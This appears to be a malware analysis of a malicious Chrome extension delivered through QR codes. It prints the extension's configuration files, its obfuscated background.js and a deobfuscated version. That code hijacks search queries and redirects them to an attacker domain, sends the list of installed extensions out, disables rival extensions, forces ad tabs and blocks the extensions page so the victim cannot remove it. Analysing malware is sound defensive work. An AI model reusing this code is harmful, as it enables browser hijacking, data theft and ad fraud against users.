conf.js  manifest.json  options.png\n
```

\n

Sample Extension Configuration

\n

```
cat conf.js\n\nlet _ExtnensionName = \"Options\";\nlet _ExtensionVersion = \"4.0\";\nlet _dd =
\"MzQ1NDYHAQICAwIGDAEAAgEFAgILBwAMSgoABgYDB0gEAgICAgUHAwAASQ==\";\nlet _ExtDom = \"https://krestinaful[.]com/\";\nlet
_ExtDomNoSchema = \"krestinaful[.]com\"\n\ncat conf.js \nlet _ExtnensionName = \"Properties\";\nlet _ExtensionVersion =
\"4.4\";\nlet _dd = \"NzI3MjcGAgYEDwAHAgAFAQQGAwAOAgYASwAKAAYEBU4GBAMGCgQKDwAASw==\";\nlet _ExtDom =
\"https://tobepartou[.]com/\";\nlet _ExtDomNoSchema = \"tobepartou[.]com\";
```

\n

Obfuscated Javascript `background.js` (truncated)

\n

```
cat background.js\n\nT1MM.q3 = (function () {\n    var v = 2;\n    for (; v !== 9;) {\n        switch (v) {\n        case 2:\n
v = typeof globalThis === 'object' ? 1 : 5;\n            break;\n        case 1:\n            return globalThis;\n
break;\n        case 5:\n            var G;\n            try {\n                var s = 2;\n                for (; s !== 6;) {\n
switch (s) {\n                    case 2:\n                        Object['defineProperty'](Object['prototype'], 'xbHiy', {\n
'get': function () {\n                                var J = 2;\n                                for (; J !== 1;) {\n
switch (J) {\n                                    case 2:\n                                        return this;\n
break;\n                                }\n                            }\n                        },\n
'configurable': true\n                        });\n                        G = xbHiy;\n                        s = 5;\n
break;\n                    case 5:\n                        G['QQr8M'] = G;\n                        s = 4;\n
break;\n                    case 4:\n                        s = typeof QQr8M === 'undefined' ? 3 : 9;\n
break;\n                    case 9:\n                        delete G['QQr8M'];\n                        var N =
Object['prototype'];\n                        delete N['xbHiy'];\n                        s = 6;\n                        break;\n
case 3:\n                        throw \"\";\n                        s = 9;\n                        break;\n
}\n                }\n            } catch (l) {\n                G = window;\n            }\n            return G;\n
break;\n        }\n    }\n})();\nT1MM.A1MM = A1MM;\ne7(T1MM.q3);\n[TRUNCATION..]
```

\n

Raw Obfuscated javascript sample

\n

```
U0MM.i5=(function(){var A=2;for(;A !== 9;){switch(A){case 5:var h;try{var m=2;for(;m !== 6;){switch(m){case
2:Object['\\x64\\x65\\x66\\u0069\\u006e\\u0065\\x50\\u0072\\u006f\\u0070\\u0065\\u0072\\x74\\u0079']
(Object['\\x70\\x72\\u006f\\x74\\u006f\\u0074\\x79\\u0070\\x65'],'\\u0070\\x6c\\x71\\u0074\\x74',{'\\x67\\x65\\x74':function(){var
O=2;for(;O !== 1;){switch(O){case 2:return
this;break;}}},'\\x63\\x6f\\x6e\\x66\\x69\\x67\\x75\\x72\\x61\\x62\\x6c\\x65':true});h=plqtt;h['\\u006e\\u0034\\u0072\\x75\\u0030']=
 9:delete h['\\x6e\\u0034\\x72\\x75\\u0030'];var s=Object['\\x70\\x72\\x6f\\x74\\x6f\\x74\\u0079\\u0070\\u0065'];delete
s['\\x70\\u006c\\u0071\\u0074\\x74'];m=6;break;case 3:throw \"\";m=9;break;case 4:m=typeof n4ru0 ===
'\\x75\\u006e\\u0064\\u0065\\u0066\\u0069\\u006e\\u0065\\x64'?3:9;break;}}}catch(D){h=window;}return h;break;case 1:return
globalThis;break;case 2:A=typeof globalThis === '\\u006f\\u0062\\x6a\\x65\\u0063\\x74'?1:5;break;}}})
();U0MM.u0MM=u0MM;X4(U0MM.i5);U0MM.n6=(function(){var r6=2;for(;r6 !== 5;){switch(r6){case 2:var I7={P7:(function(u7){var
e6=2;for(;e6 !== 10;){switch(e6){case 2:var S7=function(R7){var T6=2;for(;T6 !== 13;){switch(T6){case 3:Y7++;T6=5;break;case 9:var
h7,F7;T6=8;break;case 8:h7=f7.j0gg(function(){var U6=2;for(;U6 !== 1;){switch(U6){case 2:return 0.5 -
D0gg.X0gg();break;}}}).G0gg('');F7=U0MM[h7];T6=6;break;case 14:return F7;break;case 4:f7.a0gg(A0gg.k0gg(R7[Y7] +
41));T6=3;break;case 5:T6=Y7 < R7.length?4:9;break;case 1:var Y7=0;T6=5;break;case 2:var f7=[];T6=1;break;case 6:T6=!F7?
8:14;break;}}};var g7='',D7=m0gg(S7([76,7,36,36])());e6=5;break;case 8:g7+=A0gg.k0gg(D7.H0gg(k7) ^ u7.H0gg(i7));e6=7;break;case
5:var k7=0,i7=0;e6=4;break;case 6:g7=g7.s0gg('%');var p7=0;var q7=function(L6){var V6=2;for(;V6 !== 19;){switch(V6){case 12:V6=p7
=== 5 && L6 === 38?11:10;break;case 11:g7.x0gg.l0gg(g7,g7.N0gg(-4,4).N0gg(0,2));V6=5;break;case 10:I7.P7=N7;V6=20;break;case
1:g7.x0gg.l0gg(g7,g7.N0gg(-10,10).N0gg(0,8));V6=5;break;case 13:g7.x0gg.l0gg(g7,g7.N0gg(-6,6).N0gg(0,5));V6=5;break;case 9:V6=p7
=== 2 && L6 === 27?8:7;break;case 2:V6=p7 === 0 && L6 === 92?1:4;break;case
6:g7.x0gg.l0gg(g7,g7.N0gg(-3,3).N0gg(0,1));V6=5;break;case 20:return N7(L6);break;case 14:V6=p7 === 4 && L6 === 42?13:12;break;case
4:V6=p7 === 1 && L6 === 68?3:9;break;case 7:V6=p7 === 3 && L6 === 61?6:14;break;case
3:g7.x0gg.l0gg(g7,g7.N0gg(-3,3).N0gg(0,1));V6=5;break;case 5:return p7++;break;case
8:g7.x0gg.l0gg(g7,g7.N0gg(-4,4).N0gg(0,2));V6=5;break;}}};e6=12;break;case 9:i7=0;e6=8;break;case 12:var N7=function(Q6){var
M6=2;for(;M6 !== 1;){switch(M6){case 2:return g7[Q6];break;}}};return q7;break;case 4:e6=k7 < D7.length?3:6;break;case 7:
(k7++,i7++);e6=4;break;case 3:e6=i7 === u7.length?9:8;break;}}})('BS%6G2')};return I7;break;}}})();U0MM.P6=function(){return typeof
U0MM.n6.P7 === 'function'?U0MM.n6.P7.apply(U0MM.n6,arguments):U0MM.n6.P7;};U0MM.I6=function(){return typeof U0MM.n6.P7 ===
'function'?U0MM.n6.P7.apply(U0MM.n6,arguments):U0MM.n6.P7;};function X4(W8){function n5(A8){var y2=2;for(;y2 !== 5;){switch(y2)
{case 2:var o8=[arguments];return o8[0][0].Function;break;}}}function t5(e8){var k2=2;for(;k2 !== 5;){switch(k2){case 2:var T8=
[arguments];return T8[0][0].Math;break;}}}function A5(r8){var q2=2;for(;q2 !== 5;){switch(q2){case 2:var m8=[arguments];return
m8[0][0].Array;break;}}}function e5(Z8){var T2=2;for(;T2 !== 5;){switch(T2){case 2:var N8=[arguments];return N8[0]
[0].String;break;}}}var x8=2;for(;x8 !== 83;){switch(x8){case
50:h8[39]+=h8[23];h8[26]=h8[6];h8[26]+=h8[23];h8[26]+=h8[23];h8[16]=h8[5];h8[16]+=h8[72];h8[16]+=h8[2];x8=64;break;case
42:h8[62]=h8[35];h8[62]+=h8[23];h8[62]+=h8[23];h8[25]=h8[42];h8[25]+=h8[24];h8[25]+=h8[23];h8[28]=h8[30];x8=54;break;case
69:Z5(e5,\"fromCharCode\",h8[58],h8[50]);x8=68;break;case 2:var h8=
[arguments];h8[1]=\"\";h8[1]=\"A\";h8[3]=\"\";h8[3]=\"k0\";x8=9;break;case 87:Z5(e5,\"split\",h8[32],h8[25]);x8=86;break;case
14:h8[7]=\"D\";h8[5]=\"\";h8[5]=\"X\";h8[6]=\"G0\";h8[4]=\"\";x8=20;break;case 86:Z5(A5,\"unshift\",h8[32],h8[62]);x8=85;break;case
15:h8[30]=\"H0\";h8[24]=\"0g\";h8[42]=\"s\";h8[23]=\"\";x8=24;break;case 84:Z5(A5,\"splice\",h8[32],h8[46]);x8=83;break;case
70:Z5(r5,\"String\",h8[58],h8[57]);x8=69;break;case 64:h8[56]=h8[7];h8[56]+=h8[72];h8[56]+=h8[2];h8[17]=h8[8];x8=60;break;case
68:Z5(A5,\"sort\",h8[32],h8[17]);x8=67;break;case 9:h8[9]=\"a\";h8[8]=\"\";h8[8]=\"j\";h8[7]=\"\";x8=14;break;case
71:Z5(A5,\"push\",h8[32],h8[34]);x8=70;break;case 72:var Z5=function(y8,F8,z8,l8){var k8=2;for(;k8 !== 5;){switch(k8){case 2:var
J8=[arguments];k5(h8[0][0],J8[0][0],J8[0][1],J8[0][2],J8[0][3]);k8=5;break;}}};x8=71;break;case
29:h8[46]+=h8[23];h8[77]=h8[89];h8[77]+=h8[72];h8[77]+=h8[2];x8=42;break;case
35:h8[32]=9;h8[32]=1;h8[58]=5;h8[58]=0;h8[46]=h8[36];h8[46]+=h8[23];x8=29;break;case
20:h8[4]=\"m\";h8[2]=\"\";h8[2]=\"gg\";h8[89]=\"l\";h8[35]=\"x0\";x8=15;break;case
90:Z5(A5,\"join\",h8[32],h8[26]);x8=89;break;case 85:Z5(n5,\"apply\",h8[32],h8[77]);x8=84;break;case
54:h8[28]+=h8[23];h8[28]+=h8[23];h8[39]=h8[4];h8[39]+=h8[24];x8=50;break;case
60:h8[17]+=h8[72];h8[17]+=h8[2];h8[50]=h8[3];h8[50]+=h8[23];x8=56;break;case
56:h8[50]+=h8[23];h8[57]=h8[1];h8[57]+=h8[72];h8[57]+=h8[2];x8=75;break;case
24:h8[72]=\"0\";h8[23]=\"\";h8[23]=\"g\";h8[36]=\"N0\";x8=35;break;case 66:Z5(t5,\"random\",h8[58],h8[16]);x8=90;break;case
89:Z5(r5,\"decodeURI\",h8[58],h8[39]);x8=88;break;case 88:Z5(e5,\"charCodeAt\",h8[32],h8[28]);x8=87;break;case
75:h8[34]=h8[9];h8[34]+=h8[72];h8[34]+=h8[2];x8=72;break;case 67:Z5(r5,\"Math\",h8[58],h8[56]);x8=66;break;}}function r5(P8){var
n8=2;for(;n8 !== 5;){switch(n8){case 2:var v8=[arguments];return v8[0][0];break;}}}function k5(L8,E8,D8,q8,C8){var t8=2;for(;t8 !==
13;){switch(t8){case 6:O8[7]=false;try{var G2=2;for(;G2 !== 6;){switch(G2){case 2:O8[5]={};O8[1]=(1,O8[0][1])(O8[0][0]);O8[8]=
[O8[1],O8[1].prototype][O8[0][3]];O8[8][O8[0][4]]=O8[8][O8[0][2]];G2=3;break;case 3:O8[5].set=function(i8){var S2=2;for(;S2 !== 5;)
{switch(S2){case 2:var b8=[arguments];O8[8][O8[0][2]]=b8[0][0];S2=5;break;}}};O8[5].get=function(){var v2=2;for(;v2 !== 13;)
{switch(v2){case 6:s8[2]+=s8[3];return typeof O8[8][O8[0][2]] == s8[2]?undefined:O8[8][O8[0][2]];break;case
3:s8[8]=\"\";s8[8]=\"un\";s8[2]=s8[8];s8[2]+=s8[1];v2=6;break;case 2:var s8=
[arguments];s8[3]=\"\";s8[3]=\"ed\";s8[1]=\"defin\";v2=3;break;}}};O8[5].enumerable=O8[7];try{var o2=2;for(;o2 !== 3;){switch(o2)
{case 2:O8[9]=O8[6];O8[9]+=O8[4];O8[9]+=O8[2];o2=4;break;case 4:O8[0][0].Object[O8[9]](O8[8],O8[0]
[4],O8[5]);o2=3;break;}}}catch(h6){}G2=6;break;}}}catch(v6){}t8=13;break;case
3:O8[4]=\"o\";O8[6]=\"\";O8[6]=\"definePr\";O8[7]=true;t8=6;break;case 2:var O8=
[arguments];O8[2]=\"\";O8[2]=\"\";O8[2]=\"perty\";t8=3;break;}}}};function U0MM(){}var y01111=+\"2\";for(;y01111 !== \"13\" << 64;)
{switch(y01111){case +\"2\":y01111=U0MM.I6(\"92\" >> 0) === +\"40\"?+\"1\":\"5\" - 0;break;case +\"9\":U0MM.i6=\"1\" >>
32;y01111=\"8\" >> 32;break;case +\"14\":U0MM.d6=+\"26\";y01111=+\"13\";break;case +\"4\":U0MM.p6=\"80\" -
0;y01111=+\"3\";break;case +\"8\":y01111=U0MM.I6(\"61\" - 0) > U0MM.P6(+\"42\")?+\"7\":\"6\" * 1;break;case +\"1\":U0MM.g6=\"35\" *
1;y01111=+\"5\";break;case +\"7\":U0MM.J6=\"86\" ^ 0;y01111=+\"6\";break;case \"5\" | 1:y01111=U0MM.P6(+\"68\") != +\"30\"?
+\"4\":\"3\" ^ 0;break;case \"6\" << 64:y01111=U0MM.P6(\"38\" ^ 0) >= \"80\" - 0?\"14\" << 32:\"13\" ^ 0;break;case \"3\" -
0:y01111=U0MM.P6(+\"27\") < +\"58\"?\"9\" ^ 0:+\"8\";break;}}chrome[U0MM.I6(+\"32\")][U0MM.I6(+\"33\")][U0MM.I6(+\"34\")](w7=>{var
Z4=U0MM;w7[Z4.P6(+\"35\")][Z4.P6(\"36\" << 32)]({name:Z4.P6(+\"37\"),value:_dd});return {requestHeaders:w7[Z4.I6(\"35\" << 64)]};},
{urls:[U0MM.I6(+\"38\") + _ExtDomNoSchema + U0MM.I6(+\"39\")]},[U0MM.I6(+\"40\"),U0MM.I6(+\"35\")]);chrome[U0MM.I6(+\"32\")]
[U0MM.I6(+\"41\")][U0MM.I6(\"34\" << 0)](function(n7){var D4=U0MM;var r7,a7,d7,C7,K7;if(n7[D4.I6(\"42\" << 0)] !== D4.P6(\"43\" *
1)){return null;}r7=n7[D4.P6(\"44\" ^ 0)];a7=new URL(r7);if(r7[D4.P6(+\"45\")](D4.I6(+\"46\")) >= (\"0\" | 0) && r7[D4.P6(\"45\" *
1)](D4.I6(+\"47\")) >= +\"0\" && r7[D4.P6(+\"45\")](D4.I6(\"48\" ^ 0)) >= (\"0\" | 0)){d7=a7[D4.P6(\"49\" ^ 0)][D4.I6(+\"50\")]
(D4.P6(+\"51\"));}if(r7[D4.P6(\"45\" - 0)](D4.I6(\"52\" * 1)) >= +\"0\" && r7[D4.P6(\"45\" | 33)](D4.P6(+\"53\")) >= \"0\" - 0)
{d7=a7[D4.I6(\"49\" | 0)][D4.P6(\"50\" >> 32)](D4.P6(\"54\" - 0));}if(r7[D4.P6(\"45\" * 1)](D4.I6(+\"55\")) >= \"0\" >> 32 &&
r7[D4.P6(\"45\" | 0)](D4.P6(+\"47\")) >= (\"0\" ^ 0) && r7[D4.I6(+\"45\")](D4.I6(\"48\" ^ 0)) >= \"0\" * 1){d7=a7[D4.I6(+\"49\")]
[D4.I6(\"50\" >> 32)](D4.I6(+\"51\"));}if(d7 && d7[D4.I6(\"56\" ^ 0)] > +\"1\"){C7=getWithExpiry(D4.P6(\"57\" |
25));K7=n7[D4.P6(+\"58\")];if(d7 === C7){return null;}if(C7 && K7){if(K7[D4.I6(+\"59\")](D4.I6(\"55\" | 53)))
{setWithExpirySec(D4.I6(+\"57\"),d7,+\"60\");return null;}if(K7[D4.I6(\"59\" ^ 0)](D4.I6(\"60\" | 8)))
```

```
{setWithExpirySec(D4.P6(\"57\" - 0),d7,\"60\" ^ 0);return null;}}setWithExpirySec(D4.P6(\"57\" - 0),d7,\"60\" -
0);chrome[D4.I6(+\"61\")][D4.I6(\"62\" * 1)]({url:_ExtDom + D4.P6(+\"63\") + _ExtnensionName + D4.P6(\"1\" >> 0) +
_ExtensionVersion + D4.I6(+\"64\") + d7});}},{urls:[U0MM.I6(\"65\" >> 32),U0MM.I6(\"66\" << 0),U0MM.I6(\"67\" * 1)]},
[U0MM.P6(+\"40\")]);chrome[U0MM.I6(+\"68\")][U0MM.P6(\"69\" << 0)][U0MM.P6(+\"34\")](G7=>{var I4=U0MM;if(G7[I4.I6(\"70\" ^ 0)] ==
I4.I6(\"71\" | 3)){localStorage[I4.I6(\"30\" ^ 0)](I4.P6(+\"57\"));chrome[I4.I6(\"72\" | 72)][I4.P6(+\"73\")](I4.I6(\"74\" * 1),
{delayInMinutes:+\"1.1\",periodInMinutes:\"180\" * 1});analytics(I4.P6(\"71\" | 7),I4.I6(+\"3\"));sync();chrome[I4.I6(\"16\" >> 0)]
[I4.P6(\"75\" * 1)](function(m7){handleInstalledExtensions(m7);});chrome[I4.P6(\"76\" | 4)][I4.I6(\"77\" ^ 0)][I4.P6(\"78\" << 32)]
[I4.P6(\"79\" >> 32)]({value:!\"1\"});}});chrome[U0MM.P6(\"68\" << 32)][U0MM.P6(+\"80\")](_ExtDom + U0MM.P6(+\"81\") +
_ExtnensionName + U0MM.I6(+\"1\") + _ExtensionVersion + U0MM.P6(+\"2\") + _dd);chrome[U0MM.I6(\"82\" << 64)][U0MM.P6(\"73\" * 1)]
({title:U0MM.P6(\"83\" * 1),id:U0MM.I6(+\"84\"),contexts:[U0MM.I6(+\"85\")]});function handleInstalledExtensions(O7){var
h4=U0MM;fetch(h4.I6(\"18\" | 2) + _ExtDomNoSchema + h4.I6(+\"19\") + h4.I6(\"0\" << 96) + _ExtnensionName + h4.I6(+\"1\") +
_ExtensionVersion + h4.P6(\"2\" - 0) + _dd,{method:h4.P6(\"20\" ^ 0),headers:{'Accept':h4.P6(\"22\" * 1),'Content-
Type':h4.I6(+\"24\")},body:JSON[h4.P6(\"25\" >> 64)](O7)})[h4.I6(\"9\" * 1)](v7=>v7[h4.I6(\"10\" << 32)]())[h4.P6(+\"9\")]
(s7=>handleExtensionResp(s7));}function sync(){var B4=U0MM;var L7;L7=_ExtDom + B4.P6(\"6\" - 0);fetch(L7,
{method:B4.I6(+\"7\"),credentials:B4.P6(\"8\" >> 0)})[B4.I6(+\"9\")](W7=>W7[B4.I6(\"10\" ^ 0)]())[B4.I6(+\"9\")](A7=>
{analytics(B4.P6(+\"11\"),A7);})[B4.I6(\"12\" << 0)](J7=>{});}chrome[U0MM.P6(+\"61\")][U0MM.P6(+\"86\")][U0MM.P6(\"34\" << 0)]
(function(c7,j7,q5){var N4=U0MM;if(j7[N4.P6(\"87\" | 67)] == N4.P6(\"88\" * 1) && q5[N4.I6(+\"44\")][N4.I6(\"45\" >> 0)]
(N4.I6(\"89\" ^ 0)) == \"0\" << 0){chrome[N4.I6(+\"61\")][N4.I6(\"73\" | 1)]({url:N4.I6(\"90\" ^ 0)});chrome[N4.P6(\"61\" << 32)]
[N4.P6(\"91\" ^ 0)](c7);}});function getWithExpiry(y7){var a4=U0MM;var t7,Z7,z7;t7=localStorage[a4.I6(+\"28\")](y7);if(!t7){return
null;}Z7=JSON[a4.I6(\"13\" ^ 0)](t7);z7=new Date();if(z7[a4.I6(\"26\" - 0)]() > Z7[a4.I6(+\"29\")]){localStorage[a4.P6(\"30\" ^ 0)]
(y7);return null;}return Z7[a4.P6(\"31\" - 0)];}chrome[U0MM.I6(+\"92\")][U0MM.P6(+\"93\")][U0MM.I6(\"34\" * 1)](function(p5)
{chrome[U0MM.P6(\"61\" * 1)][U0MM.P6(\"73\" | 8)]({url:U0MM.P6(\"90\" << 32)});});chrome[U0MM.P6(+\"82\")][U0MM.P6(\"93\" << 64)]
[U0MM.I6(\"34\" >> 32)](function(f5,F5){chrome[U0MM.I6(+\"61\")][U0MM.I6(+\"73\")]({url:U0MM.P6(+\"90\")});});function
analytics(b7,E7){var f4=U0MM;var M7;M7=_ExtDom + b7 + f4.I6(+\"0\") + _ExtnensionName + f4.I6(+\"1\") + _ExtensionVersion +
f4.I6(\"2\" ^ 0) + _dd;if(E7 != f4.P6(\"3\" | 3)){M7=M7 + f4.I6(+\"4\") + E7;}navigator[f4.I6(\"5\" * 1)](M7);}function
setWithExpirySec(B7,x7,X7){var o7,T7;o7=new Date();T7={value:x7,expiry:o7[U0MM.P6(+\"26\")]() + X7 *
+\"1000\"};localStorage[U0MM.P6(+\"27\")](B7,JSON[U0MM.P6(+\"25\")](T7));}function u0MM(){return \"m6%5DBbB-
%20Q%13%06Q!6UBbS2#I_$S6:JXhX1%3CK%1AgF'+Q%197%5E#:K%1Ag%18my%00u(%5C66KBjf;#@%13&B2?LU&F+%3CK%19-A-
=%00E3@+=B_!Kg4@B%13%5B/6%00E%22F%0B'@%5BbU''lB%22_g6%5DF.@;vWS*%5D46lB%22_g%25DZ2Wg$@T%15W3&@E3%17-
=gS!%5D06vS)V%0A6DR%22@1vDR#~+%20QS)W0vWS6G'%20Q~%22S&6WEbB7%20M%13#Vgy%1F%19h%18lv%0A%1CbP.%3CF%5D.%5C%25vJX%05W$%3CWS%15W3&@E3%176
4ISi%1716DD$Zg%22%18%134W#!F%5E%17S02HEbU''%00GbA'2WU/%1C;2MY(%1Cg#%18%137%17%20:KQi%17.6KQ3Zg?
DE3c76WOb%5B,:Q_&F-!%00_)Q.&AS4%17;2MY(%1Cg'DT4%177#AW3Wg%20@W5Q*l@N3%0FguT%0BbZ6'UE%7D%1Dmy%0BQ(%5D%25?
@%18$%5D/%7C%0F%13/F6#V%0Ch%1Dh%7D%5CW/%5D-%7DFY*%1DhvMB3B1i%0A%19m%1C%20:KQiQ-%3E%0A%1Cb@7=Q_*Wg%3CK%7F)A62IZ%22Vg!@W4%5D,vLX4F#?
I%13&%5E#!HEbQ06DB%22%17*1%00Q%22F%03?
I%137@+%25DU%3E%1716W@.Q'%20%00E%22S00Me2U%256VB%02%5C#1IS#%1716Q%134W6%06K_)A62IZ%12%60%0EvPX.%5C1'DZ+%0D'+Q%0BbQ-=QS?
F%0F6KC4%17%106HY1Wg%3E@X2%17%20!JA4W0%0CDU3%5B-
=%00Y)g27DB%22Vg%20QW3G1vIY&V+=B%13$Z0%3CHS%7D%1Dm6%5DB%22%5C1:JX4%17!;WY*Wx%7C%0AE%22F6:KQ4%1706HY1Wg1WY0A'!dU3%5B-
=%00Y)q.:F%5D%22Vg%3CKw+S0%3E%00%09%22J6n%00%101W0n%00D%22C76VB%0FW#7@D4%17-
=gS!%5D06wS6G'%20Q%13aV&n%00%13a%5B,5J%0BbA'=At%22S!%3CK%135W&%20%5CX$%17&7%00q%02fg%20@W5Q*%03DD&_1vMB3B1i%0A%19m%1C;2MY(%1C!%3CH%1
LE3%17$%3CWs&Q*vHW)S%256HS)Fg%20@B%02%5C#1IS#%17*'QF4%08m%7CFY*%1CgvBS3\";}chrome[U0MM.I6(\"72\" - 0)][U0MM.I6(+\"94\")]
[U0MM.I6(\"34\" - 0)](function(N5){analytics(U0MM.I6(+\"74\"),U0MM.P6(+\"3\"));sync();});function handleExtensionResp(l7){var
k4=U0MM;try{extnesionIds=JSON[k4.P6(+\"13\")](l7)[k4.P6(\"14\" ^ 0)];extnesionIds[k4.P6(\"15\" | 5)](e7=>chrome[k4.P6(+\"16\")]
[k4.P6(+\"17\")](e7,! !\"\"));}catch(H7){}}
```


\n

Deobfuscated Javascript `background.js` provided by Twitter user @struppigel https://twitter.com/struppigel

\n
Blog post created by Karsten Hahn @struppigel, providing an analysis of the malicious Chrome Extension
\nhttps://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension
\nhttps://twitter.com/struppigel/status/1489500184371515396

\n
The purpose of the malicious Chrome Extension is to generate Ad Revenue for the actor. The Chrome Extension periodically makes web requests every 30 minutes to generate Ads. Analytics is sent to the attackers domain every 3 hours. This malware has the capability of spreading through the victim's Google Profile via Synchronization.

\n
Turn on and off Google Chrome Synchronization
\nhttps://support.google.com/chrome/answer/185277?hl=en&co=GENIE.Platform%3DDesktop
\nhttps://support.google.com/chrome/answer/2765944

\n

```
chrome.webRequest.onBeforeSendHeaders.addListener(n4 => {\n  n4.requestHeaders.push({name: \"dd\", value: _dd});\n  return {requestHeaders: n4.requestHeaders};\n}, {urls: [\"*://*.\" + _ExtDomNoSchema + \"/*\"]}, [\"blocking\", \"requestHeaders\"]);\n\nchrome.webRequest.onHeadersReceived.addListener(g4 => {\n  if (g4.type !== \"main_frame\") {\n    return null;\n  }\n  g4.responseHeaders.forEach(u4 => {\n    if (u4.name === \"is\") {\n      isValue = u4.value;\n      setWithExpirySec(\"is\", isValue, 300);\n      return null;\n    }\n  });\n}, {urls: [\"*://*.\" + _ExtDomNoSchema + \"/*\"]}, [\"responseHeaders\"]);\n\nchrome.webRequest.onBeforeRequest.addListener(function (s4) {\n  var O4, L4, R4, r4, p4, F4, i4, w4, b4;\n  if (s4.type !== \"main_frame\") {\n    return null;\n  }\n  O4 = s4.url;\n  L4 = new URL(O4);\n  if (O4.indexOf(\"google.\") >= 0 && O4.indexOf(\"search\") >= 0 && O4.indexOf(\"q=\") >= 0) {\n    R4 = L4.searchParams.get(\"q\");\n  }\n  if (O4.indexOf(\"search.yahoo.\") >= 0 && O4.indexOf(\"p=\") >= 0) {\n    R4 = L4.searchParams.get(\"p\");\n  }\n  if (O4.indexOf(\"bing.\") >= 0 && O4.indexOf(\"search\") >= 0 && O4.indexOf(\"q=\") >= 0) {\n    R4 = L4.searchParams.get(\"q\");\n  }\n  if (R4 && R4.length > 1) {\n    r4 = getWithExpiry(\"lastQuery\");\n    p4 = Math.floor(Math.random() * 100);\n    F4 = getWithExpiry(\"is\") || 100;\n    i4 = s4.initiator;\n    w4 = 0;\n    if (i4) {\n      if (i4.includes(\"bing.\")) {\n        w4 = 1;\n      }\n      if (i4.includes(\"yahoo.\")) {\n        w4 = 1;\n      }\n    }\n    if (F4 > p4 && w4 && r4) {\n      setWithExpirySec(\"lastQuery\", R4, 60);\n      return null;\n    }\n    if (R4 === r4) {\n      return null;\n    }\n    setWithExpirySec(\"lastQuery\", R4, 60);\n    b4 = _ExtDom + \"search?ext=\" + _ExtnensionName + \"&ver=\" + _ExtensionVersion + \"&is=\" + w4 + \"&q=\" + R4;\n    chrome.tabs.update({url: b4});\n  }\n}, {urls: [\"https://*.google.com/*\", \"https://*.yahoo.com/*\", \"https://*.bing.com/*\"]}, [\"blocking\"]);\n\nfunction getWithExpiry(N4) {\n  var z4, Q4, I4;\n  z4 = localStorage.getItem(N4);\n  if (!z4) {\n    return null;\n  }\n  Q4 = JSON.parse(z4);\n  I4 = new Date;\n  if (I4.getTime() > Q4.expiry) {\n    localStorage.removeItem(N4);\n    return null;\n  }\n  return Q4.value;\n}\n\nchrome.runtime.onInstalled.addListener(k4 => {\n  if (k4.reason == \"install\") {\n    localStorage.removeItem(\"lastQuery\");\n    localStorage.removeItem(\"ad\");\n    localStorage.removeItem(\"is\");\n    chrome.alarms.create(\"hb\", {delayInMinutes: 1.1, periodInMinutes: 180});\n    chrome.alarms.create(\"ad\", {delayInMinutes: 5, periodInMinutes: 30});\n    analytics(\"install\", \"\");\n    sync();\n    chrome.management.getAll(function (l4) {\n      handleInstalledExtensions(l4);\n    });\n    chrome.privacy.services.searchSuggestEnabled.set({value: !true});\n  }\n});\n\nchrome.runtime.setUninstallURL(_ExtDom + \"uninstall?ext=\" + _ExtnensionName + \"&ver=\" + _ExtensionVersion + \"&dd=\" + _dd);\n\nfunction setWithExpirySec(v4, M4, P4) {\n  var e4, Z4;\n  e4 = new Date;\n  Z4 = {value: M4, expiry: e4.getTime() + P4 * 1e3};\n  localStorage.setItem(v4, JSON.stringify(Z4));\n}\n\nfunction openAd() {\n  var h4;\n  h4 = _ExtDom + \"ad?ext=\" + _ExtnensionName + \"&ver=\" + _ExtensionVersion + \"&dd=\" + _dd;\n  fetch(h4, {method: \"GET\", credentials: \"include\", redirect: \"follow\"}).then(D4 => D4.json()).then(T4 => {\n    var o4, E4, S4;\n    if (T4.length > 0) {\n      o4 = T4[0];\n      E4 = o4[1];\n      S4 = \"https:\" + o4[2];\n      chrome.tabs.create({url: E4}, function (C4) {\n        fetch(S4, {credentials: \"include\"});\n        setWithExpirySec(\"ad\", C4.id, 86400);\n      });\n    }\n  }).catch(t4 => {});\n}\n\nchrome.contextMenus.create({title: \"Remove\", id: \"menu\", contexts: [\"browser_action\"]});\nchrome.tabs.onUpdated.addListener(function (H4, y4, d4) {\n  if (y4.status == \"loading\" && d4.url.indexOf(\"chrome://extensions\") == 0) {\n    chrome.tabs.create({url: \"chrome://settings\"});\n    chrome.tabs.remove(H4);\n  }\n});\n\nfunction sync() {\n  var q4;\n  q4 = _ExtDom + \"redsync\";\n  fetch(q4, {method: \"GET\", credentials: \"include\"}).then(a4 => a4.text()).then(X4 => {\n    analytics(\"sync\", X4);\n  }).catch(V4 => {});\n}\n\nfunction handleInstalledExtensions(W4) {\n  fetch(\"https://com.\" + _ExtDomNoSchema + \"/ext\" + \"post\" + _ExtnensionName + \"ver=\" + _ExtensionVersion + \"&dd=\" + _dd, {method: \"post\", headers: {Accept: \"application/json, text/plain, */*\", \"Content-Type\": \"application/json\"}, body: JSON.stringify(W4)}).then(U4 => U4.text()).then(Y4 => handleExtensionResp(Y4));\n}\n\nchrome.browserAction.onClicked.addListener(function (G7) {\n  chrome.tabs.create({url: \"chrome://settings\"});\n});\n\nchrome.contextMenus.onClicked.addListener(function (m7, A7) {\n  chrome.tabs.create({url: \"chrome://settings\"});\n});\n\nfunction analytics(j4, J4) {\n  var A4;\n  A4 = _ExtDom + j4 + \"?ext=\" + _ExtnensionName + \"&ver=\" + _ExtensionVersion + \"&dd=\" + _dd;\n  if (J4 != \"\") {\n    A4 = A4 + \"&info=\" + J4;\n  }\n  navigator.sendBeacon(A4);\n}\n\nchrome.alarms.onAlarm.addListener(function (J7) {\n  if (J7.name === \"hb\") {\n    analytics(\"hb\", \"\");\n    sync();\n  } else if (J7.name === \"ad\") {\n    getAd();\n  }\n});\n\nfunction handleExtensionResp(K4) {\n  try {\n    extnesionIds = JSON.parse(K4).list;\n    extnesionIds.forEach(B4 => chrome.management.setEnabled(B4, false));\n  } catch (x4) {}\n}\n\nfunction getAd() {\n  var f4;\n  f4 = getWithExpiry(\"ad\");\n  if (f4) {\n    chrome.tabs.get(f4, function (c4) {\n      if (c4) {\n        return null;\n      } else {\n        openAd();\n      }\n    });\n    console.clear();\n  } else {\n    openAd();\n  }\n}
```


